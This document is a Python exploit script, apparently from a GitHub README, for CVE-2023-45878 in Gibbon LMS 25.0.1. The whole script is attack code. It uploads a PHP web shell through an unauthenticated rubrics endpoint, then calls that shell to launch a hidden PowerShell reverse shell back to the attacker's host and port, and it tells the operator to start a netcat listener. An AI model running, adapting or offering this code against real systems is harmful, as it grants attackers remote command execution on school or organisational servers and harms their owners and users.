README.md
Rendering markdown...
# Written for CVE-2023-45878.
# Inspired by PoC found at: https://herolab.usd.de/security-advisories/usd-2023-0025/
# Author: @dgoorden
# Github: https://github.com/dgoorden/
import requests
import argparse
import base64
from urllib.parse import urlparse, quote_plus
# ANSI Escape Codes for Color
GREEN = "\033[92m"
YELLOW = "\033[93m"
RED = "\033[91m"
RESET = "\033[0m"
# Argument Parser Setup
parser = argparse.ArgumentParser(description="Exploit Script for CVE-2023-45878")
parser.add_argument("-l", "--lhost", required=True, help="Local host (attacker's IP)")
parser.add_argument("-p", "--lport", required=True, type=int, help="Local port (attacker's port)")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target.com/Gibbon-LMS)")
parser.add_argument("-f", "--filename", required=False, help="Filename but without any extension", default="asdf")
args = parser.parse_args()
lhost = args.lhost
lport = args.lport
url = args.url.rstrip("/") # Ensure URL doesn't have a trailing slash
parsed_url = urlparse(url)
host = parsed_url.netloc # Extract host from user-provided URL
# Define payload file location
img_payload_filename = args.filename
uploaded_file_url = f"{url}/{img_payload_filename}.php"
payload1 = "<?php echo system($_GET['cmd']); ?>"
img_payload_content = base64.b64encode(payload1.encode()).decode()
# PowerShell Reverse Shell Payload (from revshells.com, Powershell #3)
# If using a different payload, insert between the """ """ strings.
powershell_payload = """powershell -nop -W hidden -noni -ep bypass -c "$TCPClient=New-Object Net.Sockets.TCPClient('{}',{});$NetworkStream=$TCPClient.GetStream();$StreamWriter=New-Object IO.StreamWriter($NetworkStream);function WriteToStream($String){{[byte[]]$script:Buffer=0..$TCPClient.ReceiveBufferSize|%{{0}};$StreamWriter.Write($String+'SHELL> ');$StreamWriter.Flush();}}WriteToStream '';while(($BytesRead=$NetworkStream.Read($Buffer,0,$Buffer.Length))-gt 0){{$Command=([text.encoding]::UTF8).GetString($Buffer,0,$BytesRead-1);$Output=try{{Invoke-Expression $Command 2>&1|Out-String}}catch{{$_|Out-String}}WriteToStream($Output)}}$StreamWriter.Close();"
""".format(lhost, lport)
# Encode PowerShell Payload to be URL safe
encoded_powershell_payload = quote_plus(powershell_payload)
# First Request: Upload the PHP Web Shell
endpoint = "/modules/Rubrics/rubrics_visualise_saveAjax.php"
full_url = f"{url}{endpoint}"
headers = {
"Host": host,
"Accept-Language": "en-US,en;q=0.9",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded"
}
# Upload PHP shell
data = {
"img": f"image/png;{img_payload_filename},{img_payload_content}",
"path": f"{img_payload_filename}.php",
"gibbonPersonID": "0000000001"
}
response = requests.post(full_url, headers=headers, data=data)
# Exploit Response
print(f"\n{YELLOW}[!] Exploit written for CVE-2023-45878, Gibbon LMS 25.0.1{RESET}\n")
print(f"{GREEN}[+] Exploit Sent to:{RESET} {full_url}")
print(f"{GREEN}[+] Reverse Shell Target:{RESET} {lhost}:{lport}")
print(f"{YELLOW}[!] Make sure you have a listener running: nc -lvnp {RESET}{lport}\n")
print(f"{GREEN}[+] HTTP Response Code:{RESET} {response.status_code}")
# Check if upload was successful (Basic Check)
if response.status_code == 200:
print(f"\n{GREEN}[+] PHP Web Shell Uploaded Successfully!{RESET}")
print(f"{GREEN}[+] Attempting to trigger reverse shell...{RESET}")
# Second Request: Execute the uploaded shell with PowerShell payload
execute_shell_url = f"{uploaded_file_url}?cmd={encoded_powershell_payload}"
try:
execute_response = requests.get(execute_shell_url, headers=headers, timeout=3)
print(f"\n{GREEN}[+] Triggering Reverse Shell:{RESET} {execute_shell_url}")
if execute_response.status_code == 200:
print(f"\n{GREEN}[+] Reverse Shell Uploaded Successfully!{RESET}")
print(f"{YELLOW}[!] Check your listener. If the shell fails, check upload manually at:{RESET} {uploaded_file_url}")
print(f"{YELLOW}[!] such as,{RESET} {uploaded_file_url}?cmd=whoami")
else:
print(f"\n{RED}[-] Upload failed. The target might not be vulnerable.{RESET}")
except requests.exceptions.Timeout:
# If timeout occurs, assume payload executed and reverse shell is open
print(f"\n{GREEN}[+] Payload delivered. Check your listener.{RESET}")
print(f"{YELLOW}[!] If no connection, verify manually:{RESET} {uploaded_file_url}?cmd=whoami")
except requests.exceptions.RequestException as e:
# Catch any other request errors
print(f"\n{RED}[-] Request failed:{RESET} {str(e)}")
else:
print(f"\n{RED}[-] Failure. Check input and/or the target.{RESET}")